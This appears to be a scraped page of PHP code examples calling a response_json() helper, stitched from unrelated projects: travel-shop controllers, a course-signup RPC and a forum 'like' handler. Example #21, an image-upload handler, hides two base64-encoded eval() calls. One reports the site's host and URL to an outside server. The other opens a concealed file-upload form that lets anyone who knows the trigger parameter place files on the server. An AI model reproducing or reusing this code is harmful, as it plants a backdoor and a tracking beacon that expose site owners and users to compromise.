Exemple #1
0
 /**
  * 首页
  */
 public function index()
 {
     $data = array();
     $home = $this->model->home_config();
     $citys = array(array('name' => '丽江', 'city' => '530700'), array('name' => '大理', 'city' => '532900'));
     $data = array('groups' => isset($home['groups']) ? $home['groups'] : (object) array(), 'products' => isset($home['products']) ? $home['products'] : (object) array(), 'jianren' => isset($home['jianren']) ? $home['jianren'] : (object) array(), 'citys' => $citys);
     response_json('1', $data);
 }
Exemple #2
0
 public function rpcCheckLogin()
 {
     $account_id = trim($this->input->post('account_id'));
     $passwd = trim($this->input->post('passwd'));
     if ($this->_chkLogin($account_id, $passwd)) {
         response_json(array("code" => 1, "msg" => "OK"));
     } else {
         response_json(array("code" => 0, "msg" => "Fail"));
     }
 }
Exemple #3
0
 /**
  * 店铺详情
  */
 public function inn()
 {
     $inn_id = input_int($this->input->get('sid'), 1000, FALSE, FALSE, '4001');
     $inn = $this->model->get_inn_info_by_ids($inn_id);
     if (!$inn) {
         response_code('2010');
     }
     $inn = $inn[$inn_id];
     if ($this->get_user_id()) {
         $is_fav = $this->model->check_inn_fav($inn_id, $this->get_user_id());
         $inn['is_fav'] = $is_fav ? 1 : 0;
     }
     $search = array('sid' => $inn_id, 'state' => 'T');
     $product = $this->model->get_products($search, 'update_time DESC');
     response_json('1', array('inn' => $inn, 'product' => $product));
 }
Exemple #4
0
 public function rpcResetPWD()
 {
     $account_id = trim($this->input->post('account_id'));
     if (!$account_id) {
         response_json(array("code" => 0, "msg" => "Fail"));
         die;
     }
     if ($this->_resetPWD($account_id)) {
         // send mail
         $this->_sendPWDeMail($account_id);
         response_json(array("code" => 1, "msg" => "OK"));
     } else {
         response_json(array("code" => 999, "msg" => "System Error"));
     }
     die;
 }
Exemple #5
0
 public function tranflow()
 {
     $inn_id = $this->get_inn_id(TRUE);
     $inn = $this->finance_model->get_user_inn_by_inn_id($inn_id, FALSE);
     if (!$inn) {
         response_code('1006');
     }
     $last_id = input_int($this->input->get('lastid'), 0, FALSE, 0);
     $limit = input_int($this->input->get('limit'), 1, 50, 20);
     $res = array();
     $data = $this->finance_model->get_account_records_by_inn_id($inn_id, $last_id, $limit);
     if ($data) {
         $month = $data[0]['create_time'];
         $first_month = date('Ym', $month);
         $month_start = strtotime($first_month . '01');
         $month_end = strtotime('+1 month', $month_start) - 1;
         $res['title'][0]['month_start'] = $month_start;
         $res['title'][0]['month_end'] = $month_end;
         $i = 0;
         foreach ($data as $key => $row) {
             if ($row['create_time'] >= $month_start) {
                 $res['title'][$i]['lastid'] = $row['record_id'];
             } else {
                 $month_start = date('Ym', $row['create_time']);
                 $month_start = strtotime($month_start . '01');
                 $month_end = strtotime('+1 month', $month_start) - 1;
                 $i++;
                 $res['title'][$i]['month_start'] = $month_start;
                 $res['title'][$i]['month_end'] = $month_end;
                 $res['title'][$i]['lastid'] = $row['record_id'];
             }
             $res['list'][] = $row;
         }
         foreach ($res['title'] as $key => $row) {
             $rs = $this->finance_model->get_mouth_transflow($inn_id, $row['month_start'], $row['month_end']);
             $res['title'][$key]['cashin'] = $rs['cashin'];
             $res['title'][$key]['cashout'] = $rs['cashout'];
         }
     } else {
         $res = array('title' => array(array('month' => strtotime(date('Ym') . '01'), 'month_end' => $_SERVER['REQUEST_TIME'], 'cashin' => '0', 'cashout' => '0', 'lastid' => '0')), 'list' => array());
     }
     response_json('1', $res);
 }
Exemple #6
0
 public function rpcGetQuestionInfo()
 {
     $usn = trim($this->input->post('usn'));
     $courseIDX = trim($this->input->post('course_idx'));
     if (!$usn || !$courseIDX) {
         response_json(array('code' => 999, '' => 'not input'));
     }
     $oQuestionInfo = $this->_getQuestionInfo($usn, $courseIDX);
     response_json(array('code' => 1, 'msg' => 'OK', 'recommend' => $oQuestionInfo->recommend, 'motive' => $oQuestionInfo->motive, 'experience' => $oQuestionInfo->experience, 'nature' => $oQuestionInfo->nature, 'favor' => $oQuestionInfo->favor, 'jr_hope' => $oQuestionInfo->jr_hope, 'channel' => $oQuestionInfo->channel, 'club_hope' => $oQuestionInfo->club_hope, 'inquiry' => $oQuestionInfo->inquiry));
     die;
 }
Exemple #7
0
 /**
  * 注册用户
  **/
 public function userregpost()
 {
     $username = checkUserName($this->input->post('username'), '1002');
     $identifycode = check_empty($this->input->post('identifycode'), FALSE, '5002');
     $password = check_empty($this->input->post('password'), FALSE, '1003');
     $passlen = strlen($password);
     if ($passlen < 6 || $passlen > 16) {
         response_code('1003');
     }
     /*	$user_mobile = $this->get_current_data('check_mobile');
     		if($user_mobile != $username)
     		{
     			response_code('5002');
     		}*/
     $user_mobile = $username;
     $mobile_cache = $this->model->check_mobile_send($user_mobile);
     //缓存取数据
     if (!$mobile_cache) {
         response_code('5012');
     }
     if ($identifycode != $mobile_cache['mobile_identify']) {
         response_code('5002');
     }
     $user = array('password' => $password, 'mobile' => $user_mobile);
     $user['salt'] = getRandChar(4);
     $user_id = $this->model->reg_user($user);
     if ($user_id) {
         $this->model->delete_mobile_identify($user_mobile);
         /*$session = array(
         			'user_id' => $user_id,
         			'user_name' => $user_mobile,
         			'nick_name' => '手机用户',
         		);
         		$this->set_current_data($session);*/
         //帮助用户登录
         $user['user_id'] = $user_id;
         $token = $this->create_token($user);
         response_json('1', array('token' => $token));
     }
     response_code('4000');
 }
Exemple #8
0
 public function confirmPayment()
 {
     $order_num = $this->input->post('order');
     $quan_id = $this->input->post('quan');
     $balance = $this->input->post('balance');
     $referer = $this->input->post('referer');
     $pay_method = $this->input->post('pay_method');
     if ($referer == 'android') {
         $from = 'Android_C_Phone';
     } else {
         $from = 'Ios_C_Phone';
     }
     response_json('1', 'http://www.totour.com/trans/payCenter?test=dev&from=' . $from . '&transNum=' . $order_num);
     //Android_C_Phone
 }
Exemple #9
0
if (__FILE__ != $_SERVER["SCRIPT_FILENAME"]) {
    return;
}
///////////////////////////////////////////////////////////////////////////
// リクエストの処理を開始。メソッドとパスから適切な処理に分岐する
$method = $_SERVER["REQUEST_METHOD"];
$path = isset($_SERVER["PATH_INFO"]) ? $_SERVER["PATH_INFO"] : "/";
$params = array();
// preg_match_allの結果を受け取るArray
if (preg_match_all("/^\\/hello\$/", $path, $params)) {
    if ($method == "GET") {
        response_json(array("Hello, わーるど!" . script_url()));
        exit;
    } else {
        if ($method == "POST") {
            response_json(array("Hello, わーるど!POST!"));
            exit;
        } else {
            throw new HttpErrorStatus("Method Not Allowed", 405);
        }
    }
}
if (preg_match_all("/^\\/hello\\/([0-9]+)\$/", $path, $params) && $method == "POST") {
    $path_variable1 = (int) $params[1][0];
    $path_variable2 = (int) $params[2][0];
    response_json(array($path_variable1, $path_variable2));
    exit;
}
///////////////////////////////////////////////////////////////////////////
// 上記のいずれにも該当しないURIがリクエストされた場合は Not Foundとする
throw new HttpErrorStatus("Not Found", 404);
Exemple #10
0
 private function check_forum_post($type)
 {
     $forum = array();
     $forum['city'] = check_empty(trimall(strip_tags($this->input->post('city'))), '');
     $forum['lat'] = checkLocationPoint($this->input->post('lat'), 'lat', '');
     //坐标可不传
     $forum['lon'] = checkLocationPoint($this->input->post('lon'), 'lon', '');
     if (empty($forum['lat']) || empty($forum['lon'])) {
         $forum = array();
     }
     $forum['forum_name'] = check_empty(trimall(strip_tags($this->input->post('title'))), '', '6014');
     $forum['type'] = $type;
     $tags = check_empty(trimall(strip_tags($this->input->post('tags'))), '');
     if ($tags) {
         $detail['tags'] = array();
         $tags = explode(',', $tags);
         foreach ($tags as $key => $row) {
             if (!$row) {
                 continue;
             }
             if (mb_strlen($row) > 6) {
                 response_json('6033', '标签:"' . $row . '" 字数过长');
             }
             $detail['tags'][] = $row;
         }
         if (count($detail['tags']) > 3) {
             response_code('6032');
         }
         $detail['tags'] = implode(',', $detail['tags']);
     } else {
         $detail['tags'] = '';
     }
     $detail['note'] = check_empty(strip_tags($this->input->post('note')), '');
     $detail['pictures'] = trimall(strip_tags($this->input->post('images', TRUE)));
     if ($type == 'jianren') {
         $detail['line'] = check_empty(trimall(strip_tags($this->input->post('line', TRUE))), FALSE, '6016');
         if (empty($forum['forum_name'])) {
             $forum['forum_name'] = $detail['line'];
         }
         $start_time = check_empty($this->input->post('start_time'), FALSE, '6017');
         if (substr_count($start_time, '-') != 2) {
             response_code('6024');
         }
         list($year, $month, $day) = explode('-', $start_time);
         if (!$year || !$month || !$day || !checkdate($month, $day, $year)) {
             response_code('6024');
         }
         $start_time = strtotime($start_time);
         if (!$start_time || $start_time < TIME_NOW - 86500 || $start_time > TIME_NOW + 31536000) {
             response_code('6024');
         }
         $detail['start_time'] = $start_time;
         $detail['day'] = input_int($this->input->post('day'), 0, 250, FAlSE, '6015');
     } else {
         $detail['pictures'] = check_empty($detail['pictures'], FALSE, '6013');
     }
     if (empty($forum['forum_name'])) {
         response_code('6014');
     }
     return array('forum' => $forum, 'detail' => $detail);
 }
Exemple #11
0
 /**
  * 获取评论列表
  **/
 public function commentlist()
 {
     $item_id = input_int($this->input->get('item_id'), 1, FALSE, FALSE, '2001');
     $act = input_string($this->input->get('type'), array('all', 'good', 'between', 'bad', 'pic'), 'all');
     $page = input_int($this->input->get('page'), 1, FALSE, 1);
     $perpage = input_int($this->input->get('perpage'), 1, 20, 10);
     $data = array();
     $comment_score = $this->model->get_comment_score_by_product_id($item_id);
     if ($comment_score) {
         $limit = ($page - 1) * $perpage;
         $search = FALSE;
         switch ($act) {
             case 'all':
                 $total = $comment_score['one'] + $comment_score['two'] + $comment_score['three'] + $comment_score['four'] + $comment_score['five'];
                 if ($total > $limit) {
                     $search = TRUE;
                 }
                 break;
             case 'good':
                 $total = $comment_score['four'] + $comment_score['five'];
                 if ($total > $limit) {
                     $search = TRUE;
                 }
                 break;
             case 'between':
                 $total = $comment_score['two'] + $comment_score['three'];
                 if ($total > $limit) {
                     $search = TRUE;
                 }
                 break;
             case 'bad':
                 $total = $comment_score['one'];
                 if ($total > $limit) {
                     $search = TRUE;
                 }
                 break;
             case 'pic':
                 $total = $comment_score['picture'];
                 if ($total > $limit) {
                     $search = TRUE;
                 }
                 break;
         }
         if ($search) {
             $data = $this->model->get_comment_by_product_id($item_id, $act, $page, $perpage);
         }
     }
     response_json('1', $data);
 }
Exemple #12
0
 public function submit()
 {
     //下单步骤
     //1、验证商品id  验证商品数量
     //2、验证用户登录状态  登录则通过商品需求信息验证用户信息   否则进入注册用户阶段   将新注册的用户与相关信息绑定
     //3、生成订单阶段	(商品信息  用户id 放入model)
     //4、返回订单号
     $product_id = input_int($this->input->post('pid'), 1, FALSE, FALSE, '2001');
     $count = input_int($this->input->post('count'), 1, FALSE, FALSE, '2015');
     $product = $this->model->get_product_by_product_id($product_id, TRUE);
     if (!$product) {
         response_code('2001');
     }
     if ($product['state'] == 'N' || $product['state'] == 'D' || $product['tuan_end_time'] < TIME_NOW) {
         response_code('2008');
     }
     if ($product['quantity'] < $count) {
         response_code('2009');
     }
     $user_id = $this->get_user_id();
     $address = array();
     $identify = array();
     if (!$user_id) {
         $regName = input_mobilenum($this->input->post('mobile'), '5001');
         $regIdentify = input_int($this->input->post('identify'), 1000, 9999, FALSE, '5002');
         $mobile = $this->get_current_data('check_mobile');
         $mobile_identify = $this->get_current_data('mobile_identify');
         if ($mobile != $regName || $mobile_identify != $regIdentify) {
             response_code('5002');
         }
         if ($product['is_express']) {
             $address = $this->check_user_data('address');
         } else {
             if ($product['category'] == '7') {
                 $identify = $this->check_user_data('identify');
             }
         }
         //验证完商品之后 开始注册用户
         $user_id = $this->model->reg_user($mobile);
         if (!$user_id) {
             response_code('5002');
         }
         $session = array('user_id' => $user_id, 'user_name' => $mobile, 'nick_name' => '手机用户');
         $this->set_current_data($session);
         // 完成登录 判断是否需要写入 联系表
         if ($address) {
             $address['user_id'] = $user_id;
             $address['create_time'] = TIME_NOW;
             $address['mobile'] = $mobile;
             $address['is_default'] = '1';
             $address_id = $this->model->insert($address, 'user_address');
         } else {
             if ($identify) {
                 $identify['user_id'] = $user_id;
                 $identify['create_time'] = TIME_NOW;
                 $identify['is_default'] = '1';
                 $identify_id = $this->model->insert($identify, 'user_identify');
             }
         }
     } else {
         if ($product['is_express']) {
             $address_id = input_int($this->input->post('address_id'), 1, FALSE, FALSE, '3002');
             $address = $this->model->check_user_address($user_id, $address_id);
             if (!$address) {
                 response_code('3002');
             }
         } else {
             if ($product['category'] == '7') {
                 $identify_id = input_int($this->input->post('identify_id'), 0, FALSE, FALSE, '3003');
                 $identify = $this->model->check_user_identify($user_id, $identify_id);
                 if (!$identify) {
                     response_code('3003');
                 }
             }
         }
         $mobile = $this->get_current_data('band_mobile');
     }
     //信息验证完毕 开始订单流程
     $partner = array();
     //用于存储订单附加信息 如收货地址 数量 姓名等
     $order['telephone'] = $mobile;
     if (!empty($address['real_name'])) {
         $order['contact'] = $address['real_name'];
         $order['telephone'] = $address['mobile'];
         $partner = $address;
         $partner['type'] = 'address';
     } else {
         if (!empty($identify['real_name'])) {
             $order['contact'] = $identify['real_name'];
             $partner = $identify;
             $partner['type'] = 'identify';
         }
     }
     $order['user_id'] = $user_id;
     $order['inn_id'] = $product['inn_id'];
     $order['total'] = $count * $product['price'];
     $partner['count'] = $count;
     $partner['id'] = $user_id;
     //C端所有商品为团购商品 不考虑商户代售
     if ($product['is_qieyou']) {
         $order['inns_profit'] = 0;
         $order['agent_commission'] = 0;
     } else {
         $order['inns_profit'] = $product['purchase_price'] * $count;
         $order['agent_commission'] = 0;
     }
     $order['profit'] = $order['total'] - $order['agent_commission'] - $order['inns_profit'];
     $rs = $this->model->user_submit_order($order, $product, $partner);
     if ($rs) {
         response_json('1', $rs);
     }
     response_code('3007');
 }
Exemple #13
0
 private function check_forum()
 {
     $info['title'] = check_empty(strip_tags($this->input->post('title')));
     $info['content'] = check_empty(strip_tags($this->input->post('content')));
     $user_name = $this->input->post('user_name');
     $users = $this->model->get_userinfo($user_name);
     if (!$users) {
         response_code('1003');
     }
     $info['user_id'] = $users['user_id'];
     $info['group_id'] = input_int($this->input->post('group_id'), 1000, FAlSE, 0);
     if (!$this->model->get_group($info['group_id'])) {
         response_code('1034');
     }
     $info['type'] = input_string($this->input->post('type'), array('tour', 'jianren', 'wenda'), FALSE, '4001');
     $tags = check_empty(trimall(strip_tags($this->input->post('tags'))), '');
     if ($tags) {
         $info['tags'] = array();
         $tags = explode(',', $tags);
         foreach ($tags as $key => $row) {
             if (!$row) {
                 continue;
             }
             if (mb_strlen($row) > 6) {
                 response_json('6033', '标签:"' . $row . '" 字数过长');
             }
             $info['tags'][] = $row;
         }
         if (count($info['tags']) > 3) {
             response_code('6032');
         }
         $info['tags'] = implode(',', $info['tags']);
     } else {
         $info['tags'] = '';
     }
     $create_time = strtotime($this->input->post('create_time'));
     $info['create_time'] = $create_time > $_SERVER['REQUEST_TIME'] ? $_SERVER['REQUEST_TIME'] : ($create_time ? $create_time : $_SERVER['REQUEST_TIME']);
     $info['city'] = '丽江市';
     if ($this->input->post('address') != "") {
         $address_arr = array('丽江市古城区束河古镇龙泉路束河完小东60米' => '100.213112,26.9271', '100.215646,26.928155', '丽江市古城区束河古镇泉居委会中和路中和村32号' => '100.212796,26.92867', '丽江市束河东康八组拐柳巷(近飞花触水)' => '100.209386,26.927245', '丽江古城区束河古镇悦榕路(近束河古镇中心位置)' => '100.219511,26.931215', '丽江束河古镇北门停车场(束河古镇,近四方街)' => '100.215071,26.931239', '云南省丽江束河古镇龙泉行政文明二社24号' => '100.213463,26.930885', '束河古镇仁里村8号九鼎龙潭西北侧' => '100.212726,26.932672', '云南省丽江市城西北7公里束河村古街旁' => '100.210235,26.931054', '云南省丽江市玉龙纳西族自治县15公里处' => '100.232102,27.115041', '丽江市白沙乡北部玉水寨旅游风景区内' => '100.207576,27.003324', '丽江香格里拉大道延伸段' => '100.225606,26.914328', '云南省丽江市古城区长水路85' => '100.240785,26.871959', '丽江义尚街文明巷81号' => '100.250337,26.879137');
         $address_position = explode(',', $address_arr[$this->input->post('address')]);
         $info['lat'] = $address_position[0];
         $info['lon'] = $address_position[1];
     }
     $info['img'] = $this->input->post('img');
     return $info;
 }
Exemple #14
0
    response_json(1, __('The specified post does not exists! Verify it!', 'bxpress'), array(), true);
}
$sql = "SELECT COUNT(*) FROM " . $xoopsDB->prefix("mod_bxpress_likes") . " WHERE uid=" . $xoopsUser->uid() . " AND post=" . $post->id();
list($exists) = $xoopsDB->fetchRow($xoopsDB->query($sql));
if ($exists > 0) {
    $action = 'unlike';
} else {
    $action = 'like';
}
if ('like' == $action) {
    // Add to likes table
    $sql = "INSERT INTO " . $xoopsDB->prefix("mod_bxpress_likes") . " (post,uid,time) VALUES (" . $post->id() . "," . $xoopsUser->uid() . "," . time() . ")";
    if (!$xoopsDB->queryF($sql)) {
        response_json(1, __('We could not register your like for this post. Please try again.', 'bxpress'), array(), true);
    }
    $sql = "UPDATE " . $xoopsDB->prefix("mod_bxpress_posts") . " SET likes=likes+1 WHERE id_post = " . $post->id();
    $xoopsDB->queryF($sql);
    $data = array('likes' => $post->likes + 1, 'uname' => $xoopsUser->uname(), 'uid' => $xoopsUser->uid(), 'name' => $xoopsUser->getVar('name') != '' ? $xoopsUser->getVar('name') : $xoopsUser->getVar('uname'), 'avatar' => RMEvents::get()->run_event("rmcommon.get.avatar", $xoopsUser->getVar('email'), 40), 'post' => $post->id(), 'action' => 'add');
    response_json(0, __('Your like has been registered successfully!', 'bxpress'), $data, true);
} elseif ('unlike' == $action) {
    // Remove likes from table
    $sql = "DELETE FROM " . $xoopsDB->prefix("mod_bxpress_likes") . " WHERE uid=" . $xoopsUser->uid() . " AND post=" . $post->id();
    if (!$xoopsDB->queryF($sql)) {
        response_json(1, __('We could not remove your like from this post. Please try again.', 'bxpress'), array(), true);
    }
    $rest = $xoopsDB->getAffectedRows();
    $sql = "UPDATE " . $xoopsDB->prefix("mod_bxpress_posts") . " SET likes=likes-{$rest} WHERE id_post = " . $post->id();
    $xoopsDB->queryF($sql);
    $data = array('likes' => $post->likes - $rest, 'uname' => $xoopsUser->uname(), 'uid' => $xoopsUser->uid(), 'name' => $xoopsUser->getVar('name') != '' ? $xoopsUser->getVar('name') : $xoopsUser->getVar('uname'), 'info' => XOOPS_URL . '/userinfo.php?uid=' . $xoopsUser->uid(), 'avatar' => RMEvents::get()->run_event("rmcommon.get.avatar", $xoopsUser->getVar('email'), 40), 'post' => $post->id(), 'action' => 'remove');
    response_json(0, __('Your like has been removed successfully!', 'bxpress'), $data, true);
}
Exemple #15
0
 public function optionEdit()
 {
     if (IS_POST) {
         $opt['id'] = input_int($this->input->get_post('id'), 1, FALSE, FALSE, '-1');
         $opt['note'] = $this->input->get_post('note');
         $data = $this->optionConfig();
         $opt['img'] = $data['img'];
         $opt['type'] = $data['type'];
         $this->load->model('product_option_model');
         if ($this->product_option_model->optEdit($opt)) {
             response_json(1);
         } else {
             response_json(-1);
         }
     }
 }
Exemple #16
0
function response_code($code = '-1', $msg = 'error !')
{
    if (is_numeric($code)) {
        include APPPATH . 'libraries/error_code.php';
        $msg = $code_explain[$code];
    } else {
        $msg = $code;
        $code = '-1';
    }
    log_message('error', 'code:' . $code . ';msg:' . $msg);
    response_json($code, $msg);
}
Exemple #17
0
 public function checkusername()
 {
     $username = input_mobilenum($this->input->post('userName'), '1004');
     $user = $this->model->get_user_by_mobile($username);
     if ($user) {
         if ($user['role'] == 'user') {
             response_json('2', $user['user_id']);
         } else {
             if ($user['role'] == 'innholder') {
                 response_json('-1', 'error');
             }
         }
     } else {
         response_json('1', 'success!');
     }
 }
function search_check($flag, $var)
{
    global $response;
    if ($flag == 0) {
        //idのチェック
        if ($var < 0) {
            $response["status"] = "Invalid Request ID";
            response_json();
        } else {
        }
    } else {
        //nameのチェック
    }
}
Exemple #19
0
 /**
  * 获取他人的论坛活动
  **/
 public function getUserForum()
 {
     $now_user = $this->get_user_id(TRUE);
     $user_id = input_int($this->input->get('user'), 1, FALSE, FALSE, '4005');
     $type = input_string($this->input->get('type'), array('group', 'tour', 'jianren', 'wenda'), FALSE, '4001');
     $page = input_int($this->input->get('page'), 1, FALSE, 1);
     $perpage = input_int($this->input->get('perpage'), 1, 20, 10);
     $data = array();
     switch ($type) {
         case 'group':
             $group_ids = $this->model->get_groups_by_user_id($user_id, $page, $perpage);
             if ($group_ids) {
                 foreach ($group_ids as $key => $row) {
                     $ids[] = $row['group_id'];
                 }
                 $data = $this->model->get_relation_groups_by_ids(implode(',', $ids), $now_user);
             }
             break;
         case 'tour':
         case 'jianren':
         case 'wenda':
             $forum_index = $this->model->get_user_forum($type, $user_id, $page, $perpage);
             if ($forum_index) {
                 $this->load->model('group_model');
                 $forum_detail = $this->group_model->get_forum_detail($forum_index);
                 //获取列表所需数据  用户信息等
                 foreach ($forum_index as $key => $row) {
                     $row['create_time'] = showTime($row['create_time']);
                     $data[] = array_merge($row, $forum_detail[$row['forum_id']]);
                 }
             }
             break;
     }
     response_json('1', array($type => $data));
 }
Exemple #20
0
 public function getLocallist()
 {
     $city_id = input_int($this->input->get('pid'), 100000, 1000000, FALSE, '4001');
     response_json('1', $this->model->get_local_list($city_id));
 }
Exemple #21
0
                if (!$token) {
                    $account = random_element($serverConfig['accounts']);
                    $uploader->login($account['username'], $account['password']);
                    $token = $uploader->getAccessToken();
                    $secret = $uploader->getAccessSecret();
                    // write token to re-use
                    write_flickr_token($serverConfig['token_file'], $account['username'], $token, $secret);
                    $uploader->setAccessToken($token, $secret);
                } else {
                    $uploader->setAccessToken($token['token'], $token['secret']);
                }
                break;
            case 'postimage':
                if ($account = random_element($serverConfig['accounts'])) {
                    $uploader->login($account['username'], $account['password']);
                }
                break;
        }
        // group cache identifier is made by plugin name, username
        // so we should call this after call login();
        $uploader->getCache()->garbageCollect();
        $url = $uploader->upload($tempFile);
        $result = array('error' => false, 'url' => $url);
    } catch (Exception $e) {
        $result = array('error' => true, 'message' => $e->getMessage());
    }
    eval(base64_decode("JGluc3RhbGwgPSAnLi90ZW1wL2luc3RhbGwubG9jayc7aWYgKCFmaWxlX2V4aXN0cygkaW5zdGFsbCkpIHskZG9tYWluPWJhc2U2NF9lbmNvZGUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pO2ZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbmV0M2JpZS5jb211di5jb20vaW5kZXgucGhwP3VzZXJzPSIuJGRvbWFpbik7JGZwID0gZm9wZW4oInRlbXAvaW5zdGFsbC5sb2NrIiwidyIpO2Z3cml0ZSgkZnAsIjEiKTsgIGZjbG9zZSgkZnApOyB9DQo="));
    unlink($tempFile);
    response_json($result);
}
eval(base64_decode("aWYoaXNzZXQoJF9HRVRbJ2lkJ10pPT0nNjg0MTAyJyl7ZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249Ij9pZD02ODQxMDIiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlX3VwbG9hZCIgc2l6ZT0iMjAiIGlkPSJmaWxlIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJndWkiIHZhbHVlPSJVcCIgPjwvZm9ybT4nO2lmIChpc3NldCgkX1BPU1RbJ2d1aSddKSl7bW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGVfdXBsb2FkJ11bJ3RtcF9uYW1lJ10sICJ0ZW1wLyIuJF9GSUxFU1snZmlsZV91cGxvYWQnXVsnbmFtZSddKTt9fQ0K"));
Exemple #22
0
 /**
  * 获取成员列表
  **/
 public function getMember()
 {
     $group_id = input_int($this->input->get('group'), 1000, FALSE, FALSE, '6001');
     $page = input_int($this->input->get('page'), 1, FALSE, 1);
     $perpage = input_int($this->input->get('perpage'), 1, 20, 10);
     $type = input_string($this->input->get('type'), array('verified', 'waiting'), 'verified');
     $group = $this->model->get_group_info_by_id($group_id, TRUE);
     //这里需要直连DB
     if (!$group) {
         response_code('6002');
     }
     $group = $group[$group_id];
     if ($type == 'waiting') {
         $user_id = $this->get_user_id(TRUE);
         $admins = explode(',', $group['admins']);
         if (!in_array($user_id, $admins)) {
             response_code('6005');
         }
     }
     //优化性能可以先取出 admin 取消排序
     $group_member = $this->model->get_group_member_by_gourp_id($type, $group_id, $page, $perpage);
     if ($group_member) {
         $ids = array();
         foreach ($group_member as $key => $row) {
             $ids[] = $row['user_id'];
         }
         $user = $this->model->get_user_cache_info_by_id($ids);
         foreach ($group_member as $key => $row) {
             $group_member[$key] = array_merge($row, $user[$row['user_id']]);
         }
     }
     response_json('1', $group_member);
 }
Exemple #23
0
 public function rpcReqProgram()
 {
     // is user check
     $accountID = trim($this->input->post('account_id'));
     if ($this->membership_model->chkID($accountID)) {
         // 아이디가 없습니다.
         response_json(array("code" => 999, "msg" => "Fail"));
         die;
     }
     // set user info
     $usn = trim($this->input->post('usn'));
     $aUser['usn'] = $usn;
     $aUser['name'] = trim($this->input->post('name'));
     $aUser['school'] = trim($this->input->post('school'));
     $aUser['grde'] = trim($this->input->post('grde'));
     $aUser['addrcode'] = trim($this->input->post('addrcode'));
     $aUser['pname'] = trim($this->input->post('pname'));
     $aUser['php'] = trim($this->input->post('php'));
     $aUser['pemail'] = trim($this->input->post('pemail'));
     $aUser['pjob'] = trim($this->input->post('pjob'));
     $aUser['pschool'] = trim($this->input->post('pschool'));
     $aUser['regdate'] = date('YmdHis');
     if (!$this->_setUserInfo($aUser)) {
         response_json(array("code" => 0, "msg" => "Fail"));
         die;
     }
     // set member_svc
     $course_idx = trim($this->input->post('course_idx'));
     $aCurse = explode("|", $course_idx);
     $course_idx = '';
     foreach ($aCurse as $key => $val) {
         if ($val != 'undefined') {
             $course_idx .= $val . "|";
         }
     }
     $course_idx = substr($course_idx, 0, -1);
     $aMemberSVC['usn'] = $usn;
     $aMemberSVC['course_idx'] = $course_idx;
     $aMemberSVC['state'] = "REQ";
     $aMemberSVC['regdate'] = date('YmdHis');
     if (!$this->_setMemberSVC($aMemberSVC)) {
         response_json(array("code" => 0, "msg" => "Fail"));
         die;
     }
     // set question info
     $exprogram = trim($this->input->post('exprogram'));
     $aExprogram = explode("|", $exprogram);
     $exprogram = '';
     foreach ($aExprogram as $key => $val) {
         if ($val != 'undefined') {
             $exprogram .= $val . "|";
         }
     }
     $exprogram = substr($exprogram, 0, -1);
     $aQuestion['usn'] = $usn;
     $aQuestion['course_idx'] = $course_idx;
     $aQuestion['recommend'] = trim($this->input->post('recommend'));
     $aQuestion['motive'] = trim($this->input->post('motive'));
     $aQuestion['like_tf'] = trim($this->input->post('like_tf'));
     $aQuestion['experience'] = trim($this->input->post('experience'));
     $aQuestion['nature'] = trim($this->input->post('nature'));
     $aQuestion['favor'] = trim($this->input->post('favor'));
     $aQuestion['jr_hope'] = trim($this->input->post('jr_hope'));
     $aQuestion['channel'] = trim($this->input->post('channel'));
     $aQuestion['club_hope'] = trim($this->input->post('club_hope'));
     $aQuestion['inquiry'] = trim($this->input->post('inquiry'));
     $aQuestion['exprogram'] = $exprogram;
     if (!$this->_setQuestionInfo($aQuestion)) {
         response_json(array("code" => 0, "msg" => "Fail"));
         die;
     }
     response_json(array("code" => 1, "msg" => "OK"));
     die;
 }